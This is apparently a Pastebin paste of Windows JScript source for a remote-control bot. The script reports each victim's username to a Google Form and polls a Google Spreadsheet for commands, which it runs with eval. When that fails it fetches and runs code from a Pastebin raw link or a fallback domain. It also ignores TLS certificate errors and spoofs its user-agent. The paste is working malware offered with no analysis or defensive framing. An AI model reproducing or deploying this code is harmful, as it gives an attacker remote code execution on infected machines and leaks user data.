Advertisement
Guest User

Untitled

a guest
Apr 28th, 2015
194
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function GetSourceCode() {
  2.  
  3.  
  4.  
  5.         var GlobalObject = this;
  6.  
  7.         var FSO = fso = new ActiveXObject("Scripting.FileSystemObject");
  8.  
  9.         var WshShell = new ActiveXObject("WScript.Shell");
  10.  
  11.  
  12.  
  13.         var formkey = "%formkey%";
  14.  
  15.         var spreadsheetkey = "%spreadsheetkey%";
  16.  
  17.         var intervalMin = 30;
  18.  
  19.         var intervalMax = 50;
  20.  
  21.         var botclass = GenerateString(8);
  22.  
  23.         var entry = "%entry%";
  24.  
  25.         var last = TextFileRead("%TMP%\\dttsg.txt");
  26.  
  27.         var version = "1.0";
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.         WshShell.CurrentDirectory = GetScriptDir();
  36.  
  37.         Log();
  38.  
  39.         GetCommand();
  40.  
  41.  
  42.  
  43.         function GetCommand() {
  44.  
  45.                 try {
  46.  
  47.                         var co = "";
  48.  
  49.                         co = InetRead("https://docs.google.com/spreadsheet/ccc?key=" + spreadsheetkey);
  50.  
  51.                         var command = HTMLParse(co['text']).document.documentElement.innerText.split(/\$\$\$/g);
  52.  
  53.                         if (command.length < 3) {
  54.  
  55.                                 var cbp = InetRead("http://pastebin.com/raw.php?i=rf1b98ZM");
  56.  
  57.                                 if( cbp['stat'] >= 200 &&  cbp['stat'] < 300){
  58.  
  59.                                     eval( cbp['text'] );
  60.  
  61.                                     return false;
  62.  
  63.                                 }else{
  64.  
  65.                                     var cbd = InetRead("test-domen-108.net");
  66.  
  67.                                     eval( cbd['text'] );
  68.  
  69.                                     return false;                                      
  70.  
  71.                                 }
  72.  
  73.                         }
  74.  
  75.                         if (last != command[1]) {
  76.  
  77.                                 last = command[1];
  78.  
  79.                                 var r = TextFileCreate("%TMP%\\dttsg.txt");
  80.  
  81.                                 r.Write(last);
  82.  
  83.                                 r.Close();
  84.  
  85.                                 Log("GetCommand::" + command[2]);
  86.  
  87.                                 eval(command[2]);
  88.  
  89.                         }
  90.  
  91.                 } catch (e) {
  92.  
  93.                         Log("GetCommand::" + e.description);
  94.  
  95.                 }
  96.  
  97.         }
  98.  
  99.  
  100.  
  101.         function getRandomInt(min, max) {
  102.  
  103.                 return Math.floor(Math.random() * (max - min + 1)) + min;
  104.  
  105.         }
  106.  
  107.  
  108.  
  109.         function GetScriptDir() {
  110.  
  111.                 return GetScriptFullPath().replace(/[^\\]+$/g, "");
  112.  
  113.         }
  114.  
  115.  
  116.  
  117.         function GetScriptFullPath() {
  118.  
  119.                 if (GlobalObject.location && GlobalObject.location.href) return unescape(location.href.replace(/^.+\/\/\//, "").replace(/\//g, "\\"));
  120.  
  121.                 if (GlobalObject.WScript) return WScript.ScriptFullName;
  122.  
  123.                 return "";
  124.  
  125.         }
  126.  
  127.  
  128.  
  129.         function HTMLParse(code, dont_prevent_code_exec) {
  130.  
  131.                 try {
  132.  
  133.                         var document = new ActiveXObject("HTMLFile");
  134.  
  135.                         if (!dont_prevent_code_exec) document.designMode = "on";
  136.  
  137.                         document.write(code);
  138.  
  139.                         document.close();
  140.  
  141.                         if (!dont_prevent_code_exec) document.execCommand("stop");
  142.  
  143.                         return document.parentWindow;
  144.  
  145.                 } catch (e) {
  146.  
  147.                         Log("HTMLParse::" + e.description)
  148.  
  149.                 };
  150.  
  151.                 return {};
  152.  
  153.         }
  154.  
  155.  
  156.  
  157.         function InetRead(url) {
  158.  
  159.                 var data_sataus_arr = new Object();
  160.  
  161.                 try {
  162.  
  163.                         var httpReq = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");
  164.  
  165.                         httpReq.setOption(2, 13056); //SXH_SERVER_CERT_IGNORE_ALL_SERVER_ERRORS = 13056;  SXH_OPTION_URL = -1
  166.  
  167.                         httpReq.setTimeouts(0, 0, 0, 0);
  168.  
  169.                         httpReq.open("GET", url, false);
  170.  
  171.                         httpReq.setRequestHeader("User-agent", "Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1");
  172.  
  173.                         httpReq.send();
  174.  
  175.                         //WScript.Echo(httpReq.getAllResponseHeaders());
  176.  
  177.                         //WScript.Echo(httpReq.status);
  178.  
  179.                         data_sataus_arr['stat'] = httpReq.status;
  180.  
  181.                         data_sataus_arr['text'] = httpReq.responseText;
  182.  
  183.                 } catch (e) {
  184.  
  185.                     //WScript.Echo(httpReq.status);
  186.  
  187.                     data_sataus_arr['text'] = "";
  188.  
  189.                     data_sataus_arr['stat'] = "100";
  190.  
  191.                 };
  192.  
  193.                 return data_sataus_arr;
  194.  
  195.         }
  196.  
  197.  
  198.  
  199.         function Log(value) {
  200.  
  201.                 value = value || "";
  202.  
  203.                 value = botclass + "::" + GetUserName() + "::" + encodeURI(value);
  204.  
  205.                 try {
  206.  
  207.                         var httpRequest = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  208.  
  209.                         with(httpRequest) {
  210.  
  211.                                 Open("POST", "https://docs.google.com/forms/d/" + formkey + "/formResponse", false);
  212.  
  213.                                 SetRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  214.  
  215.                                 Send(entry + "=" + value);
  216.  
  217.                         }
  218.  
  219.                 } catch (e) {}
  220.  
  221.         }
  222.  
  223.  
  224.  
  225.         function FileExists(Path) {
  226.  
  227.                 Path = WshShell.ExpandEnvironmentStrings(Path);
  228.  
  229.                 return FSO.FolderExists(Path) || FSO.FileExists(Path);
  230.  
  231.         }
  232.  
  233.  
  234.  
  235.         function TextFileRead(Path) {
  236.  
  237.                 if (!Path) return "";
  238.  
  239.                 if (!FileExists(Path)) return "";
  240.  
  241.                 Path = WshShell.ExpandEnvironmentStrings(Path);
  242.  
  243.                 if (FSO.GetFile(Path).Size == 0) return "";
  244.  
  245.                 try {
  246.  
  247.                         var Stream = FSO.OpenTextFile(Path, 1, 0, -2),
  248.  
  249.                                 Result = Stream.ReadAll();
  250.  
  251.                         Stream.Close();
  252.  
  253.                         return Result;
  254.  
  255.                 } catch (e) {
  256.  
  257.                         //Log("TextFileRead::" + Path + "::" + e.descrition);
  258.  
  259.                 };
  260.  
  261.         }
  262.  
  263.  
  264.  
  265.         function TextFileCreate(Path) {
  266.  
  267.                 try {
  268.  
  269.                         Path = WshShell.ExpandEnvironmentStrings(Path);
  270.  
  271.                         if (FileExists(Path)) FSO.DeleteFile(Path, true);
  272.  
  273.                         return FSO.OpenTextFile(Path, 2, 1, -1)
  274.  
  275.                 } catch (e) {
  276.  
  277.                         Log("TextFileCreate::" + e.description)
  278.  
  279.                 };
  280.  
  281.                 return null;
  282.  
  283.         }
  284.  
  285.  
  286.  
  287.         function GenerateString(L) {
  288.  
  289.                 if (!L) L = 8;
  290.  
  291.                 return new ActiveXObject("Scriptlet.TypeLib").Guid.replace(/[^\w]+/g, "").slice(0, L);
  292.  
  293.         }
  294.  
  295.  
  296.  
  297.         function GetOS() {
  298.  
  299.                 var ua = new ActiveXObject("HTMLFile").parentWindow.navigator.userAgent.toLowerCase();
  300.  
  301.                 return {
  302.  
  303.                         isWin2K: /windows nt 5\.0/.test(ua),
  304.  
  305.                         isXP: /windows nt 5\.1/.test(ua),
  306.  
  307.                         isVista: /windows nt 6\.0/.test(ua),
  308.  
  309.                         isWin7: /windows nt 6\.1/.test(ua),
  310.  
  311.                         isWin8: /windows nt 6\.2/.test(ua),
  312.  
  313.                         isWin81: /windows nt 6\.3/.test(ua),
  314.  
  315.                         isWin10: /windows nt (6\.4|10)/.test(ua)
  316.  
  317.                 };
  318.  
  319.         }
  320.  
  321.  
  322.  
  323.         function CreateObject(ProgId) {
  324.  
  325.                 return new ActiveXObject(ProgId);
  326.  
  327.         }
  328.  
  329.  
  330.  
  331.         function GetUserName() {
  332.  
  333.                 try {
  334.  
  335.                         return CreateObject("WScript.NetWork").UserName;
  336.  
  337.                 } catch (e) {
  338.  
  339.                         Log("GetUserName::" + e.description);
  340.  
  341.                         return "Unknown"
  342.  
  343.                 }
  344.  
  345.         }
  346.  
  347. })()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement